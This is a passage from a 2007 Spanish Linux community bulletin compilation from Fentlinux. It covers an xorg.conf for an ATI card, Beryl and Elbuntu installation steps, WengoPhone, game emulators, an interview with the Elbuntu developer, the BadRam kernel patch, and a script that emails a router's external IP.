Option "EnablePageFlip" "true"

Option "ColorTiling" "true"

Option "EnableDepthMoves" "true"

Option "BackingStore" "true"

Option "AccelMethod" "XAA"

Option "AccelIDFS" "true"

Option "XAANoOffscreenPixmaps" "true"

Option "AllowGLXWithComposite" "true"

Option "AddARGBGLXVisuals" "true"

EndSection

Section "Monitor"

Identifier "T710BH"

Option "DPMS"

HorizSync 30-60

VertRefresh 50-75

EndSection

Section "Screen"

Identifier "Default Screen"

Device "ATI Technologies Inc RV350 AQ [Radeon 9600]"

Monitor "T710BH"

DefaultDepth 24

SubSection "Display"

Depth 1

Modes "1024x768"

EndSubSection

SubSection "Display"

Depth 4

Modes "1024x768"

EndSubSection

SubSection "Display"

Depth 8

Modes "1024x768"

EndSubSection

SubSection "Display"

Depth 15

Modes "1024x768"

EndSubSection

SubSection "Display"

Depth 16

Modes "1024x768"

EndSubSection

Page 54: Mega Boletin Fent Linux 2007

SubSection "Display"

Depth 24

Modes "1024x768"

EndSubSection

Option "UseFBDev" "true"

EndSection

Section "ServerLayout"

Identifier "Default Layout"

Screen "Default Screen"

InputDevice "Generic Keyboard"

InputDevice "Configured Mouse"

Option "AIGLX" "true"

EndSection

Section "DRI"

Mode 0666

EndSection

Section "Extensions"

Option "Composite" "true"

EndSection

-----------------------------------------------------------------------------------

Ahora vamos a instalar Beryl. Para esto tendremos que añadir el repositorio oficial de Beryl:

# BERYL

deb http://debian.beryl-project.org/ etch main

deb-src http://debian.beryl-project.org/ etch main

Y la firma a través de la consola:

wget -O - http://debian.beryl-project.org/[email protected] | apt-key add -

Luego tecleamos como root: apt-get update y tranquilamente instalamos beryl:

apt-get install beryl emerald

También pedirá una serie de dependencias automáticas. Las aceptamos y listo.

Ahora solo falta reiniciar el PC, y ejecutar en la consola: beryl o beryl-manager o bien a

través del menú del sistema. Configuramos las diferentes opciones de Beryl. Con beryl-

manager nos aparecerá un icono de diamante en la barra de tareas. Podemos configurar

diferentes partes técnicas a través de él.

Para opciones y accesos directos de teclas, revisamos la configuración. Por ejemplo, para girar

el cubo, pulsaremos CTRL+ALT+click y girar ratón, etc..

Ya advertí antes que con este driver Beryl va a ir mal, y a frenazos. Pero no podemos hacer

nada, ya que por ahora es la única opción para instalar Beryl en ATI. Por esta misma razón, no

Page 55: Mega Boletin Fent Linux 2007

recomiendo el arranque automático de Beryl con el sistema. Sería mejor arrancarlo

manualmente ;)

Una captura de lo que podemos llegar a conseguir:

3. WengoPhone, VoIP OpenSource

Por montagú

Se que muchos ya conocéis este programa, pero aún es un gran desconocido en

comparación con Skype. Esto me recuerda un poco a como Windows es más usado que Linux

aún siendo éste último una muy buena opción (mejor que Windows una vez lo prueban). La

verdad es que tiene tan buenas opciones que se me hace difícil escoger una por la que

empezar.

Podría empezar diciendo que es OpenSource, que las tarifas para llamadas a teléfonos son

bastante más económicas que otros programas de sus características, que desde WengoPhone

puedes comunicarte con usuarios de otro sistema de mensajería como Jabber, Yahoo, AIM/ICQ,

MSN o SIP, transferir archivos, mandar SMS, videoconferencia, extensión para Firefox (la

versión para Linux está en desarrollo, espero que con la ayuda de la gran comunidad esté

pronto disponible)... Saber que con un mismo programa tienes la facilidad de comunicarte con

todos los que te rodean, tanto por mensajería instantánea como haciendo llamadas de voz o

videollamadas, es un auténtico todo en uno y multiplataforma.

Otro punto diferenciador es que gracias a un Widget puedes hacer que los usuarios que visitan

Page 56: Mega Boletin Fent Linux 2007

tu web puedan dejar mensajes tanto de voz como de vídeo gracias a WengoVisio y crear un

poco de interactividad con los que te visiten. A, y si estás offline u ocupado no te preocupes ya

que los visitantes pueden dejarte el mensaje y tu recibirás un mail con un enlace para poder

ver el vídeo.

Poco a poco OpenWengo (el padre de este software) va incluyendo opciones que lo hacen

más interesante. Actualmente está disponible la versión estable 2.0 y se encuentra en

desarrollo la 2.1 rc1. Y como una imagen vale más que mil palabras aquí os dejo con una:

La instalación es bastante fácil ya que, al menos en Ubuntu, lo puedes hacer desde

"Añadir/Eliminar Programas", o con synaptic, apt, aptitude y por supuesto tu mismo na

vez descargada desde la web. Esto hace que me plantee una cosa: ¿si WengoPhone estuviera

instalado por defecto en varias distros de Linux, sería más popular? Si es que un buen

marketing siempre es importante.

Para acabar decir que está disponible en español y podéis ayudar a traducirlo a otros idiomas

desde aquí. Yo estoy liado con la traducción al catalán (el que quiera ayudarme bienvenido es y

le recomiendo esta herramienta), y alguien ha empezado con la traducción al gallego. Os

animo a todos a colaborar.

Nota mental: ¿Por qué Google no compró la empresa Wengo? De esa manera, en una tacada

tendrían un excelente programa de mensajería bastante desarrollado y ahorrarse el hacer

Google Talk, un programa excesivamente básico y sencillo.

Enlaces Relacionados:

* WengoPhone: http://www.wengophone.com/index.php/homePage

* WengoPhone (desarrolladores): http://www.openwengo.org/

* WengoVisio: http://www.wengovisio.com/index.php/homePage

Page 57: Mega Boletin Fent Linux 2007

* Wiki: http://wiki.wengo.com/

4. Instalación de elbuntu

Por Paulet.

¿Qué es Elbuntu?

Actualmente una distribución gnu/linux en desarrollo, aún en fase alpha, basada en

ubuntu, pero sin ser un producto oficial del mismo. Que pretende en un futuro próximo, liberar

un live-cd (ya lo ha hecho) con posibilidades de instalación basada en ubuntu con el entorno

gráfico enlightenment DR17 (e17) instalado por defecto.

Debemos tener en cuenta a la hora de instalarlo que se encuentra en fase alpha, que se espera

una próxima versión beta de la misma, posiblemente distribuida en formato live-cd, esto unido

a que también el entorno gráfico e17 es un entorno eternamente en desarrollo, no es una

distribución apta para entornos de producción. Si bien y a su favor señalar que llevo usándola

ya un tiempo, desde la versión de ubuntu dapper sin pega alguna.

Para instalarla podemos recurrir al método ya reseñado en el portal desde la versión de

dapper y que hemos ido actualizando con cada versión de ubuntu, edgy, feisty y ahora

gutsy Para ello, y a modo de resumen, basta con tener instalada cualquier versión oficial de

ubuntu, ya sea kubuntu, edubuntu, xubuntu, gobuntu, o ubuntustudio y modificar

ligeramente los repositorios, importar la firma de los mismos y hacer correr apt u aptitude (o

otros similares)

Opción A

1. Añadir al listado de repositorios (/etc/apt/sources.list) la siguiente fuente:

## Elbuntu

deb http://e17.dunnewind.net/ubuntu gutsy e17

deb-src http://e17.dunnewind.net/ubuntu gutsy e17

2. Para evitar problemas con las firmas, dos sencillos pasos:

a) Descargamos:

$ wget http://lut1n.ifrance.com/repo_key.asc

b) Rematamos la faena:

$ sudo apt-key add repo_key.asc

3. Actualizamos el listado de repositorios.

Page 58: Mega Boletin Fent Linux 2007

sudo aptitude update

o en su defecto

sudo apt-get update

4. Instalamos.

sudo apt-get install e17

o en su defecto

sudo aptitude install e17

5. Reiniciamos la sesión para que vuestro administrador de sesiones os ofrezca la opción de

disfrutar del espectáculo de e17.

Opción B

Un híbrido entre la opción A, que acaba de ser resumida y la de ubuntu a la carta.

Para ello basta con agenciarse el cd alternativo de cualquier versión oficial de ubuntu, si ese

que nos facilita la instalación vía texto y no es un live cd ni tiene instalador gráfico. Arrancar

con él, y a la hora de botear escoger la siguiente opción: Install a command-line system o lo

que es lo mismo, instalación de un sistema desde la línea de comandos.

Con ello realizamos una instalación mínima de ubuntu (k,x,e) y tras ello desde consola

modificamos los repositorios añadiendo los propios de elbuntu, ya reseñados con anterioridad.

Importamos la firma. Actualizamos repositorios e instalamos (pasos idénticos a la opción A).

A modo de ejemplo, una posible opción:

sudo apt-get install xserver-xorg mozilla-firefox e17 xfe unzip artwiz-cursor wdm xfonts-

base sylpheed amsn xterm vlc firestarter

También es posible hacerlo con aptitude en vez de apt, ya saben para gustos... colores.

Con esto conseguimos una instalación mínima de ubuntu + e17 y alguna cosita más, tendrán

un equipo muy ligero y muy configurable, apto para equipos donde la potencia no es una de

sus principales características.

Enlaces de interés relacionados con el proyecto:

* El proyecto en launchpad.net.

* Blog sobre elbuntu en francés.

* www.elbuntu.org

* Instalación elbuntu en feisty, dapper y edgy.

* Instalación a la carta de ubuntu feisty.

* Elbuntu: e17 en ubuntu 7.10 y familia.

Page 59: Mega Boletin Fent Linux 2007

5. Emuladores y rooms en linux

Por vl@d.

¿Quién de nosotros no ha disfrutado en su juventud de aquellos videojuegos que han

marcado a toda una generación?¿Quién no recuerda títulos como Double Dragon, Tetris, Street

Figther, Fatal Fury...? ¿Quién no querría revivir aunque solo fuera por unos momentos aquellos

maravillosos años?

Pues podemos. Afortunadamente y gracias a la informática actual, todos esos títulos míticos

del mundo de los videojuegos, pueden aun proporcionarnos tardes de gran diversión. A través

de los emuladores de roms de las distintas videoconsolas que han aparecido a lo largo de la

historia y al ya clásico MAME, podemos sacar del olvido todos estos juegos y enseñarles a las

nuevas generaciones que antes también había obras de arte dentro de este mundillo.

GNU/Linux no se iba a quedar atrás en el tema de la emulación de videojuegos y tenemos

diversas aplicaciones con las que hacer funcionar las distintas roms de juegos que hay por la

red, cada una pensada para la máquina que queremos emular. Vamos a hacer un pequeño

recorrido por los principales programas que el pingüino tiene disponible y luego que sean

vuestros gustos y vuestra nostalgia la que os guíe a la hora de instalar una u otra aplicación.

XMAME

Aunque no sea uno aficionado a estas cosas y se limite simplemente a navegar por internet de

vez en cuando, seguro que ha oído hablar alguna vez de MAME. Se trata de un proyecto que

trata de sacar de nuevo a flote todos aquellos clásicos arcade con los que pasábamos las

tardes jugando en las salas recreativa. Son miles de roms disponibles en la red y diversos

emuladores para los distintos sistemas operativos, siendo Xmame el más popular dentro de

GNU/Linux. Aquí tenéis una captura de pantalla de su frontend gráfico para KDE, el Kxmame:

Page 60: Mega Boletin Fent Linux 2007

SEGA

Sega es una de las compañías que más huella ha dejado en el mundo de los

videojuegos y mas concretamente dentro de las videoconsolas. En GNU/Linux tenemos

disponibles Dgen y Xmess-x, aplicaciones en modo comando con las que poder lanzar

nuestras roms. Recordaros que Sega, también está presente en las máquinas arcade y que con

Xmame, también podemos disfrutar de muchos de sus grandes juegos.

Aquí vemos a Dgen en acción:

NINTENDO

Si nuestra primera videoconsola fue la NES, podemos rendirle homenaje gracias a

programas como Fceu o Nestra. De Fceu os ofrecemos una captura de su interfaz gráfica:

Page 61: Mega Boletin Fent Linux 2007

No iba a ser menos y la Super Nintendo también tiene su emulador dentro de Linux, el cual

recibe el nombre de snes9x. Otra captura de su interfaz gráfica (Gsnes9x):

Y para la misma consola tenemos Znes:

No puede faltar un emulador para la mas reciente Nintendo 64, de la cual tenemos disponible

Mupen64. Aquí tenéis una captura:

Page 62: Mega Boletin Fent Linux 2007

La pequeña de la familia Nintendo, la Game Boy, también tiene participación dentro de

GNU/Linux, lo hace con Gngb y con VisualBoy Advance (http://vba.ngemu.com/) para la más

reciente GameBoy Advance.

NEO-GEO

La Neo-Geo era el Rolls Royce de las videoconsolas. Muy cara y con unos juegos que no

le iban a la zaga, era codiciada por todo el mundo y solo los más afortunados llegaron a poseer

una. SNK, la compañía que la fabricaba, también estuvo presente en el mundo de las

recreativas, pero gracias a esta máquina fue considerada como la elite durante unos años en el

mundo consolero.

En GNU/Linux podemos disfrutar de sus roms gracias a Gngeo, programa del cual os

ofrecemos una captura de su interfaz gráfica:

Page 63: Mega Boletin Fent Linux 2007

PLAYSTATION

La primera videoconsola de Sony también tiene su emulador dentro de Linux, se trata

de PCSX, aunque con esta aplicación lo que vamos a hacer es hacer correr un CD para esta

máquina dentro de nuestro sistema operativo.

Y también disponible tenemos otro emulador de las mismas características, Epsxe, del cual os ofrecemos otra captura:

ATARI

Y ahora todo un clásico de la historia de los videojuegos y los sistemas de

entretenimiento: Atari. En Linux podemos encontrar dos buenos emuladores, Hatari y Stella.

Por este orden aquí tenéis dos capturas:

Page 64: Mega Boletin Fent Linux 2007

TURBO GRAFX

Finalmente vamos a hacer mención a una potente consola que no tuvo mucho éxito

comercial, la Turbo Grafx, fabricada por NEC, de la cual tenemos un emulador disponible, el Hu-

Go:

Page 65: Mega Boletin Fent Linux 2007

6. Agradecimientos y créditos

Nuestro más sincero agradecimiento a Bad Seed, thyzzar, Maxence

DUNNEWIND, montagú, y David Martínez por su colaboración e interés y

por su participación directa en la confección del presente boletín.

Para posibles interesados en colaborar en su mantenimiento y difusión: Contacto.

Recordar que el presente boletín, como todas las imágenes y texto de FL se distribuyen bajo la

licencia de contenidos que rige en FL.

Otros boletines FL.

* 1er boletín online FL 2007.

• 2 boletín online FL especial tercer aniversario .

7. Anexo: Entrevista en versión original

FentLinux (FL): What is Elbuntu?

Maxence DUNNEWIND (MD): Elbuntu is a Linux distribution based on Ubuntu. It includes the

Enlightenment DR17 window manager. Enlightenment is a powerful and a very eyes candy

window manager. Anyway, Enlightenment DR17 (E17) isn't in the official Ubuntu repository.

So, we use our repository which provides Enlightenment on Ubuntu systems.

FL.: And you? Which is your function inside of the project?

MD.: I'm the main dev of Elbuntu. My work is assembling Enlightenment on an Ubuntu base

system. The Elbuntu distribution will provides a lot of EFL software. For example, Gnome is

replaced by Enlightenment (of course), GDM is replaced by Entrance ...

Anyway, there is no EFL based software for all you want to do on your computer. So i provide

the GTK libraries on the distribution.

FL.: It used to be Ebuntu, why the change?

MD.: Ebuntu was the first name of the project, but the dev of Ebuntu had to stop

development due to a lack of time. When i've started the development of Ebuntu, the old dev

said me than this name is too much alike than Edubuntu, a Ubuntu based distribution which

provides Education softwares.

Due to communication problem with the old dev (they didn't have fast broadband access), i

restart all the development of Ebuntu. During the dev of the alpha release, i started a vote

with some proposition of new name. After 10 days, the name which has be chosen was

Elbuntu.

FL.: Why Enlightenment? What makes it different to the rest?

Page 66: Mega Boletin Fent Linux 2007

MD.: Enlightenment is an open source window manager for the X window system. It has very

rich feature set, including support for themes and advanced graphics without sacrificing good

performance. The developers of enlightenment create a very powerful set of libraries (the EFL).

Now, this libraries allow very fast software. They provides for example animated backgrounds.

Enlightenment is fast, light and very cute.So it allow people to have a cute desktop without

decrease performance. During our test, Elbuntu perfectly works on a 400Mhz processor with

64Mo of RAM.

FL.: What future do you see in Enlightenment considering the popularity of KDE and Gnome?

MD.: As i said in the previous question, i don't think Gnome, KDE and Enlightenment is for the

same public.

Gnome and KDE provides a lot of functionality but they use more resources than E17. Another

difference is that some people don't like to have a lot of icons on their desktop or popus

windows which warn them.

Gnome and KDE is very easy to use for newbies people. E17 is a bit more difficult to use. To

avoid discouraged people to use Elbuntu, i want write a little help which explain all the

functionality of Elbuntu (If people are interested, please contact me at

[email protected]) or with our website: http://www.elbuntu.org .

Of course, Elbuntu won't be use by thousands of people as Gnome/KDE, but there is many

people interesting by it, so i'll continue to develop it !

FL. :Will there be a stable version of E17. soon?

MD.: Yes, i think.But i don't know when, i think “when it be ready” :)

FL.: Let's talk about the project, still in the construction phase, when did it start? What are the

plans for it?

MD.: Elbuntu starts 6 months ago, when I've chosen to work on it. I'd contact the all dev to ask

them about the work on Ebuntu dev and they said me they 'd stopped the dev due to a big

lack of time. So, i start develop it myself. The plan is in the first time to release a beta which

will be usable, with the most part of EFL based software (Entrance,Eclair,Exhibit, Extrackt ...).

The beta should has auto mount capabilities for hot pluggable devices. After, we'll do some

custom stuff, like removing some start service to speed up boot ...

Anyway, a distribution is something used by people, so i can't build it without know what

people want :)

FL.: An upcoming stable version?

MD.: When it will be ready :) Wait for the beta at the moment :) I think there won't be a lot of

difference between the beta and the first release.

FL.: Will there be an Elbuntu version such as those of Kubuntu, Xubuntu, Edubuntu, with

their own websites and downloadable ISO's?

Of course, take a look at http://www.elbuntu.org for information. The iso mirror will be

Page 67: Mega Boletin Fent Linux 2007

discovered when i'll release the beta :)

FL.: How many people are there collaborating or behind the project?

MD.: Not a lot. With me, there is Lutin, who do a lot of work on the repository, there is

ZaZoOo, which manage the artwork part, and there is Bishop, who manage the website :)

Bishop was helped by some other people like joejaxx.

Of course, all people who want to help are welcomed. Currently, i'm looking for people who can

write the english part of the blog or who can create a quick help which will be printed at start of

Elbuntu.

FL.: What about the relationship with the guys from Ubuntu? Do you receive any kind of

support from them?

MX.: Some people help us reviewing our package before including them in repository. The

Ubuntu community help everybody they can. So, if I've some specific problem, i can ask them

and they try to help me if they can, even if they don't work on Elbuntu development.

FL.: Let's talk about the biggest challenges, what problems are there in the development and

maintenance of Elbuntu?

MD.: During the development, the biggest problem are the live process. But i discovered how it

works (with casper for example), and now it works. After the release of the beta, i think i'll try

to organize a better platform for the maintenance. After, new version will be released when

important change will be done, not following the Ubuntu release

FL.: Given the announcement that by 2008 all applications will be compatible across distros

due to LSB 4.0, how do you think it will affect the current package system of Elbuntu?

MD.: I don't think Elbuntu will be affected more than any other Linux distro. Our package

follows the packaging policy, so they should be compatible.

FL.: Around Ubuntu and its derivatives, there are always comments and distrust about a

possible "double play" from Mark Shuttleworth, what is your take on this matter?

MD.: Indeed, some choices of Mark are not very appreciated by the community, but after some

discussion, only the best choices has validated. And, if Mark starts something in Ubuntu than

we can't accept in Elbuntu, we'll just remove it from scratch :)

FL.: Ubuntu or Debian?

MD.: Is it a troll? For Elbuntu, i chosen Ubuntu. Why ? becaue i use Ubuntu since many years

and i know this distribution. What i like in Ubuntu is the simplicity to use (especially in

hardware part)., so i want to use this for Elbuntu :)

FL.: Is there any relationship with the Elive distro? A possible integration of the project?

There is no relation at all. Elbuntu provides Live CD with installation option, so i don't see what

kind of integration will be possible.

FL.: In general terms, is Ubuntu the future of Linux? Is it the best option to migrate from

Page 68: Mega Boletin Fent Linux 2007

Windows? Any possible contenders?

MD.: Another troll :) So , my opinion is Ubuntu is easy to use, and i think it's the easiest

distribution for people who aren't interrested by computers. Anyway , i can't say Ubuntu is

THE distro. Each distribution is different, each people can and must choose. I don't know very

well other distro, so i can't talk about contenders.

I would precise i'm not alone in the Elbuntu dev. Lut!n do a great work in the repository,

ZaZo0o help us a lot on artwork, Bishop work on the blog , and some other people who help

us :)

Thanks to them !

To finish, welcome to Manish Chakravarty, who is the first dev of Ebuntu (the old Elbuntu),

and who just join our team :)

* Nota: Creado el 2007-05-03. Actualizado el 2007-05-07 y el 2007-12-10.

• Novedad : Se encuentra disponible en formato pdf: 3er boletín FL.

Page 69: Mega Boletin Fent Linux 2007

- 4º BOLETÍN FL 2007 -

En éste boletín vamos a repasar los enlaces a varios documentos, webs y

aplicaciones que forman parte de Fentlinux directa o indirectamente.

Además tenemos manuales de aplicaciones, scripts que nos facilitan la vida

en la consola y un sin fin más de cosillas, ¿te las vas a perder?.

Temas

1.Compatibilidad Linux y tabla de equivalencias.

2.Seguridad en P2P.

3.DVD Seguridad total.

4.Webs de ayuda para diferentes entornos.

5.Guía de usuario de entornos gráficos.

6.Usando módulos de memoria defectuosos con BadRam.

7.Enviando e-mails desde consola.

8.Agradecimientos y créditos.

1. Compatibilidad Linux y tabla de equivalencias.

Para los iniciados, y los que no lo son tanto, ponemos algunos enlaces sobre

la compatibilidad de hardware con Linux y también del hardware

incompatible.

Incompatibilidad con Linux

Linux y los portátiles

Wireless en Linux

escaners

impresoras

Como de Compatibilidad de Hardware con Linux

Linux Online, Hardware

Linux Online, Vendedores

tux movil

Page 70: Mega Boletin Fent Linux 2007

linuxhardware

linux-tested

linux-drivers

Phoronix LCH: hardware compatible con Linux

Listas de Compatibilidad de Hardware

linux.org/hardware

linuxcompatible

tabla equivalencia win & linux en la wikipedia; otra opción.

2. Seguridad en P2P.

Para los usuarios de programas de intercambio, más conocidos como P2P,

ponemos algunos enlaces interesantes para evitar esos servidores

indeseables, sea mediante listas negras o directamente desde soporte en

Kernel o bajo IPtables.

Ipfilter: Evitando listas negras en P2P.

IPfilter para aMule

Ipfilter: En vez de que lo gestione la aplicación que lo gestione iptables por nosotros.

IPfilter con Iptables

Potentísmo módulo para el kernel que permite clasificar/marcar paquetes en base a las

aplicaciones.

Clasificador de paquetes en capa de aplicación

Otra aplicación de privacidad para P2P: MoBlock.

MoBlock: privacidad P2P en Linux

3. DVD Seguridad total.

SecureDVD, una colección de los 10 mejores distribuciones en Live-CD sobre

seguridad, estudios forenses y recuperación en un sólo DVD.

Page 71: Mega Boletin Fent Linux 2007

Las escogidas son:

• 1. BackTrack.

• 2. Operator.

• 3. PHLAK.

• 4. Auditor.

• 5. L.A.S. Linux - Local Area Security.

• 6. Knoppix-STD.

• 7. Helix.

• 8. F.I.R.E.

• 9. nUbuntu.

• 10. INSERT Rescue Security Toolkit.

Enlace: SecureDVD

4. Webs de ayuda para diferentes entornos.

El enunciado lo dice todo. Enlaces para los gestores más comunes (y no

tanto) con ayuda de todo tipo, como instalación, configuración, noticias...

• KDE

KDE look

KDE.org

KDE Hispano

kde-files

KDE apps

• Gnome

Gnome look

Gnome.org

Gnome castellano

Plaza Gnome

Art Gnome

Page 73: Mega Boletin Fent Linux 2007

• IceWM

IceWM

• EDE

EDE

• Olix

Olix

• Pekwm

PekWM

• Iconillos varios.

Fasticon

Customize

Temas

Wallpapers

• Instalacion XGL en Gentoo y Ubuntu.

XGL en Gentoo

XGL en ubuntu

5. Guía de usuario de entornos gráficos.

Como en el apartado anterior, va de entornos, esta vez enlaces a manuales

específicos para los iniciados o para los que no paran de cambiar de entorno

;-)

• Enlaces Fentlinux:

El Gestor de Ventanas Pawn

Manual WindowMaker

Manual Fluxbox

Manual Ion3

Escritorios alternativos

Manual Idesk

• Enlaces externos:

Page 74: Mega Boletin Fent Linux 2007

BlackBox

FluxBox

Manual Gnome

Manual Enlightenment

enlightenment

Manual KDE

6. Usando módulos de memoria defectuosos con BadRam.

Por ZX80

Badram es un parche para el kernel que permite utilizar modulos de memoria ram

defectuosos, de los que la pc cuenta correctamente pero producen fallos. El parche se puede

descargar desde su web.

Instalando el parche.

Para los que usan gentoo-sources, el parche ya viene incluido por defecto (y activado si

no me equivoco). Basta con revisar que esté tildada la opción "workaround bad spots in ram"

dentro de "processor type and features". Si no estuviera tildada, marcar y recompilar el kernel.

Para cualquier otro kernel que no incluya el parche, primero, averiguar que versión del kernel

se está corriendo:

roo# uname -r

2.6.19-gentoo-r5

Luego ir a la Página de descarga del parche badram

http://rick.vanrein.org/linux/badram/download.html y descargar el que corresponda a la versión

del kernel, en mi caso el 2.6.19, copiarlo en la ubicación del kernel a parchar:

root# cp BadRAM-2.6.19.1.patch /usr/src/linux-2.6.19-r5

Aplicar el parche:

root# patch -p1 < BadRAM-2.6.19.1.patch

root# cd /usr/src/linux-2.6.19-r5

Page 75: Mega Boletin Fent Linux 2007

Recompilar el kernel y copiarlo a /boot/

Descargar Memtest86

Muchos livecd ya incluyen memtest86 por defecto como opción pero me resultó mas

comodo instalarlo. Al terminar, se copia automáticamente una imagen de arranque de

memtest86 dentro de /boot/. Lo único que resta es agregar una entrada en grub para poder

utilizarlo. Mi /boot/grub/grub.conf dice:

title=Memtest86

root (hd0,0)

kernel /memtest86/memtest.bin

Memtest86 se usa para identificar las secciones defectuosas de la memoria ram y poder

pasarselas al kernel como parámetro para que este no las utilice, por lo tanto, el paso siguiente

es reiniciar la pc con memtest y el/los modulos de ram defectusos colocados.

Correr una pasada completa de memtest86.

Al iniciar memtest86, lo primero que hay que hacer es cambiar la configuración para

que muestre los errores de salida en formato badram. Esto se hace con la tecla "C" para entrar

en la configuración, activando la opción 5 - Error Reporting Mode y por ultimo eligiendo la

opción 2 - BadRam Patterns, saliendo de cada menú y submenú con la tecla "0"

Hay que dejarlo correr al menos una "pasada" completa de tests. Arriba a la derecha el primer

indicador de porcentaje indica justamente el avance de cada pasada.

Al terminar una pasada completa en pantalla quedan una serie de rangos de memoria

expresados en hexadecimal que se ven mas o menos así:

badram=0xfefdffc,0x2404ea30,0xfe05fffc

Tomar nota de todos estos rangos de memoria que fallan para pasarselos al kernel.

Iniciar en modo "lo mas seguro posible" o con memoria ram sana.

Iniciar el pc en modo interactivo frenandola con la tecla "4" cuando pregunta la primera

vez, o bien cambiando las memorias rotas por unas en buen estado.

Montar /boot/ si no lo estuviera y agregar una entrada nueva para BadRam en

/boot/grub/grub.conf que en mi caso quedó así:

Page 76: Mega Boletin Fent Linux 2007

title Gentoo Linux Kernel 2.6.19-r5 con memorias rotas

root (hd0,0)

kernel /boot/kernel2.6.19-r5 root=/dev/hda2

badram=0x2400ea30,0xff81fffc,0xffd07ffc,0x24016a30,0xfe01fffc

¿Funciona o no funciona?

Para saber si ha funcionado o no solo deberemos listar el log de inicio mediante el

comando dmesg.

root# dmesg | grep Memory

Memory: 772132k/786368k available (3513k kernel code, 13760k reserved, 1606k data,

260k init, 0k highmem)

1 DDR de 512Mb pc3200 + 1 DDR de 256Mb pc3200, los dos defectusosos. Cuatro días de

UpTime, ninguna falla hasta ahora y contando...

En caso de tener que cambiar de sitio los módulos de memória deberia volverse a correr el test

con memtest, ya que las posiciones de memoria cambian y el Pc no arranca.

Y un consejo, no hacer este método en ordenadores de producción que requieren de un

hardware en condiciones.

7. Enviando e-mails desde consola.

Por Shicefgo.

Bueno, he estado haciendo esta cosilla y la voy a poner aquí a ver qué os parece. Si

merece la pena puedo intentar "adornarlo" algo y si no, pues nada.

Con sendEmail (tal cual, son su mayúsucla y todo), se pueden enviar e-mails automáticamente

desde un script de bash, por ejemplo.

Son dos módulos, el primero envía un e-mail desde dirección.origen a dirección.destino. La

cosa sería así (copio y pego la función que lo hace editando los campos claves):

function enviar_email

{

sendEmail \

-f direccion.origen \

-t direccion.destino \

Page 77: Mega Boletin Fent Linux 2007

-u "Asunto" \

-m "Cuerpo del texto" \

-a "/archivo/adjunto" \

-s nombre_del_servidor_saliente (smpt.fentlinux.com, por ejemplo) \

-xu Nombre_usuario_correo_saliente (smtp) \

-xp Contraseña_usuario_correo_saliente

}

Esto es lo que estoy usando ahora para mandarme la IP del router del trabajo sin tener que

depender de ningún servicio de dns dinámico de esos, tipo dyndns y tal. Ahora el otro módulo,

que obtiene la IP externa directamente de un router SpeedStream 5660:

#!/usr/bin/expect --

# tomar_ipext.exp.

# Averigua la dirección IP externa del router.

spawn telnet 192.168.0.1

expect "Password:"

send "secreto\r"

expect "Command->"

send "show ip\r"

expect "Command->"

send "exit\r"

# Fin del script expect.

El programa, bueno, script perl, llamado expect sirve para "conversar" con otra máquina en

modo automático.

Ahora solo queda montarlo todo en uno solo, por lo que quedaría así:

#!/bin/bash

#/usr/local/bin/ipext

# Envia un e-mail si ha cambiado la IP externa del router.

# Función para Enviar el e-mail.

# (Para adjuntar un archivo usar "-a /path/archivo".)

function enviar_email

{

sendEmail \

-f [email protected] \

Page 78: Mega Boletin Fent Linux 2007

-t [email protected] \

-u "IP externa router del currelo" \

-m "La IP externa actual del router del trabajo es: \n$IPEXTERNA" \

-s smtp.iservicesmail.com \

-xu [email protected] \

-xp secreto

}

# Se toma la IP externa directamente del router con un script expect,

# y se guarda.

IPEXTERNA=$(tomar_ipext.exp | grep ppp0 | cut -d" " -f17)

echo $IPEXTERNA > ~/ipExterna

# Se envia el e-mail si la IP obtenida es distinta de la anterior o si

# no existe IP anterior.

if [ -f ~/ipExterna.ant ]; then

IPANTERIOR=$(cat ~/ipExterna.ant)

if [ $IPANTERIOR != $IPEXTERNA ]; then

enviar_email

fi

else

enviar_email

fi

cp ~/ipExterna ~/ipExterna.ant

# Fin script.

Este último lo ejecuto con el cron dos veces al día. Si no apago ni reinicio el router, la IP no

suele cambiar muy a menudo, pueden pasar incluso meses.

8. Agradecimientos y créditos.

Nuestro más sincero agradecimiento a Shicefgo, ZX80, a los usuarios del

foro de Fentlinux por los envíos de los enlaces y a Inodoro_pereyra del foro de

Gentoo por su aportación en el documento "BadRam" por su colaboración e

interés y por su participación directa en la confección del presente boletín.

Para posibles interesados en colaborar en su mantenimiento y difusión:Contacto

Recordar que el presente boletín, como todas las imágenes y texto de FL se distribuyen bajo la

licencia de contenidos que rige en FL

Page 79: Mega Boletin Fent Linux 2007

Otros boletines FL

* 1er boletín online FL 2007.

* 2º boletín online FL especial tercer aniversario.

* 3er boletín online año 2007.

Enlaces a los magazines de fentlinux.

Tras estos años, y como celebración anual a modo de premio, se crearon los Magazines,

recopilatorios de artículos en formato pdf, a los que pronto se sumarán ala colección Magazines

nuevos.

* 1er Magazine FentLinux

* 2º Magazine FenLinux

* 3er Magazine FentLinux

* 4to magazine FentLinux.

Tambien tenemos éste boletín en formato pdf: Boletín FL nº4 2007

Page 80: Mega Boletin Fent Linux 2007

- 5º BOLETÍN FL 2007 -

Con tod@s, con la mayor de nuestras ilusiones y con la esperanza que sea

de su agrado, la quinta entrega del boletín online de FL. Ya saben: "no

hay quinto malo" (eso espero).

Temas

1. Impresora en GNU/Linux a un puerto serie

2. Seahorse, claves de encriptación bajo Gnu/linux

3. Alias en Consola

4. Magazines, boletines y documentación libre

5. Lliurex y la rueda del ratón

6. Entrevista Uberyl (ahora ComFusion)

7. Agradecimientos y creditos

1. Impresora en GNU/Linux a un puerto serie

Por shicefgo.

Material necesario:

* Un PC con GNU/Linux instalado (probado en la distribución Debian)

* Una impresora con conexión para puerto serie.

* Un cable serie para impresoras.

Software más importante utilizado:

* Una consola, o terminal, de texto

* Comando stty

* Navegador web

* CUPS (Common UNIX Printing System)

Proceso seguido:

Un vez conectada la impresora al PC, en mi caso lo hice a través del dispositivo serie

/dev/ttyS0, se puede seguir el siguiente orden:

Comprobar en la impresora: que esté configurada al interface serie, la velocidad, la longitud de

palabra (bits en CUPS), y la paridad. En la que yo utilizo (una Epson LX-300), esto aparece en

un listado que se puede obtener al encenderla mientras se mantiene pulsada la tecla "Font".

Page 81: Mega Boletin Fent Linux 2007

Los datos de la misma para conexión serie son:

Interface Serie

Velocidad 9600 bps

Paridad Ninguna

Longitud de Palabra 8 bit

Puede que sea necesario configurar la impresora al interfaz serie, así que sería muy

conveniente disponer del manual de la misma.

Ahora vamos a comprobar el grupo, el propietario y los permisos del dispositivo /dev/ttyS0.

$ ls -l /dev/ttyS0

crw-rw---- 1 root dialout 4, 64 2006-09-01 12:02 /dev/ttyS0

$

